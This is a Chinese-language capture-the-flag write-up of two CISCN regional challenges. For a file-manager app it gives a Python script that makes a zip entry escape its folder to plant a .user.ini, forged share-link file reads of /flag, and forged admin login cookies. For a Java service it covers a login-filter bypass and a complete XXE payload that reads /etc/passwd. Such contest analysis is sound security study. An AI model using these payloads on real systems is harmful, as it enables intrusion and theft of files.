ciscn分区赛two题解
因为本次比赛的赛制的是awdp类型,所以题目源码都给出。本篇题解不介绍详细的审计过程,只作为漏洞记录.
0x01 xxclound
首先根据system_member.php
拿到demo/demo
的账号与密码,可以实现成功登录.然后开始审计.打开网站.

zip目录穿越
可以很清楚地看到有文件上传的功能,能不能直接上传php
文件呢?先尝试再看源码.

可以看到只要包含了这些扩展名就不能校验成功.
php|phtml|phtm|pwml|asp|aspx|ascx|jsp|pl|htaccess|shtml|shtm
|
这里面还有什么可以用呢?zip,png,ini
聪明的人可能现在有两个思路
第一个思路来说,这里面没有找到pop链子而面临失败告终.现在来看第二个思路,上传上去之后发现?文件访问不到—,该死的.htaccess
我感觉和它脱不了干系!
再想 有什么办法可以让ini
文件出现在index.php
的页面下呢?zip
目录穿越.因为就在上面的代码同文件的下面有这样一个函数

放上我的exp
import zipfile import urllib.parse
def zip(): try: with open("test.txt", "r") as f: binary = f.read() zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("test.zip") zipFile.writestr("../../../../../.user.ini"+urllib.parse.unquote("%00") , binary) zipFile.close() except IOError as e: raise e if __name__ == '__main__': zip()
|
完结~~~
伪造分享连接+任意文件读
思路来自:@carrot
继续翻看源码,发现这样一个函数publicLink
public function publicLink(){ $pass = $this->config['settingSystem']['systemPassword']; $fid = $this->in['fid']; $path = Mcrypt::decode($fid,$pass); if (strlen($path) == 0) { show_json(LNG('error'),false); } $download = isset($_GET['download']); $filename = isset($_GET['downFilename'])?$_GET['downFilename']:false; file_put_out($path,$download,$filename); }
|
他从将传入fid
的参数decode
,然后文件读取!因为这里我们已经拿到源码,所以这个我们可以伪造成任意的文件.直接在这里打下断点Mcrypt::encode("/flag",$pass);
伪造cookie
思路来自:@yang_99
直接看到下面的函数
public function loginCheck(){ if( ACT == 'commonJs' && isset($_SESSION['X-CSRF-TOKEN'])){ $this->_setCsrfToken(); } if(in_array(ST,$this->notCheckST)) return; if(in_array(ACT,$this->notCheckACT)) return; if(in_array(ST.'.'.ACT,$this->notCheckApp)) return;
if(isset($_SESSION['kodLogin']) && $_SESSION['kodLogin']===true && $this->user){ $user = systemMember::getInfo($this->user['userID']); $this->_loginSuccess($user); return; }else if($_COOKIE['kodUserID']!='' && $_COOKIE['kodToken']!=''){ $user = systemMember::getInfo($_COOKIE['kodUserID']); if (!is_array($user) || !isset($user['password'])) { $this->logout(); } if($this->_makeLoginToken($user) === $_COOKIE['kodToken']){ @session_start(); $_SESSION['kodLogin'] = true; $_SESSION['kodUser']= $user; $_SESSION['X-CSRF-TOKEN'] = rand_string(20); $this->_setCsrfToken(); setcookie('kodUserID', $_COOKIE['kodUserID'], time()+3600*24*100); setcookie('kodToken',$_COOKIE['kodToken'],time()+3600*24*100);
@session_write_close(); unset($_SESSION); @session_start(); if( !isset($_SESSION['kodUser']) || !is_array($_SESSION['kodUser'])){ $this->login(DATA_PATH."<br/>".LNG('path_can_not_write_data') ); }else{ $this->_loginSuccess($user); } return; } $this->logout(); }else{ if ($this->config['settingSystem']['autoLogin'] != '1') { $this->logout(); }else{ if (!file_exists(USER_SYSTEM.'install.lock')) { $this->display('install.html'); exit; } header('location:./index.php?user/loginSubmit&name=guest&password=guest'); exit; } } }
|
最重要的一段
else if($_COOKIE['kodUserID']!='' && $_COOKIE['kodToken']!=''){ $user = systemMember::getInfo($_COOKIE['kodUserID']); if (!is_array($user) || !isset($user['password'])) { $this->logout(); } if($this->_makeLoginToken($user) === $_COOKIE['kodToken']){ @session_start(); $_SESSION['kodLogin'] = true; $_SESSION['kodUser']= $user; $_SESSION['X-CSRF-TOKEN'] = rand_string(20); $this->_setCsrfToken(); setcookie('kodUserID', $_COOKIE['kodUserID'], time()+3600*24*100); setcookie('kodToken',$_COOKIE['kodToken'],time()+3600*24*100);
@session_write_close(); unset($_SESSION); @session_start(); if( !isset($_SESSION['kodUser']) || !is_array($_SESSION['kodUser'])){ $this->login(DATA_PATH."<br/>".LNG('path_can_not_write_data') ); }else{ $this->_loginSuccess($user); } return; } $this->logout();
|
因为我们已经拿到源码了$user = systemMember::getInfo($_COOKIE['kodUserID']);
,$this->_makeLoginToken($user)
,这两行代码我们在本地执行的结果和远程是一样,所以可以直接进行伪造!我在本地直接伪造admin,然后就可以直接读了.
0x02 service_x
参考: https://github.com/3em0/java_3em0/tree/master/java%E5%AE%89%E5%85%A8/xxe
是一个java_xxe的题目.直接开始撸题目
登录绕过
首先开局是一个登录,不知道该如何处理~~先看web.xml
的配置
<filter-mapping> <filter-name>LoginFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
<servlet-mapping> <servlet-name>default</servlet-name> <url-pattern>/static/*</url-pattern> </servlet-mapping>
|
可恶,发现竟然是配置正确的.参考:https://gv7.me/articles/2019/security-raised-by-java-filter-scope-missetting/
直接看filter
的代码

发现是请求路径中只要包含了this.forwardUrl
就可以那么伪造url就可以绕过登录.
xxe
try { schema = schemaFactory.newSchema((Source) ResourceUtils.class.getClassLoader().getResourceAsStream("service.xsd")); Validator validator = schema.newValidator(); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); validator.validate(new StreamSource(new ByteArrayInputStream(xmlString.getBytes(StandardCharsets.UTF_8)))); } catch (SAXException | IOException e) { e.printStackTrace(); return toXML(e); } return null;
|
这个代码我只能说火力全开,你想从远程加载dtd可能性应该不大了,file和http协议也都过滤了
.所以我们还能用到协议有jar
和netdoc
.开始通过查阅资料,我同样发现了这两个协议,但是jar
一般都是用来加载远程jar包,netdoc
(java_9之后不行,可代替file协议)单独使用netdoc://../../a.dtd,他会报file协议不支持?
.
最后exp大概长这个样子,环境没有去复现大家dddd.剩下的编码绕过,netdoc绕过都无所谓.
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:netdoc:///opt/t%6fmcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspx%6dl.%64td"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message>any text</message>
|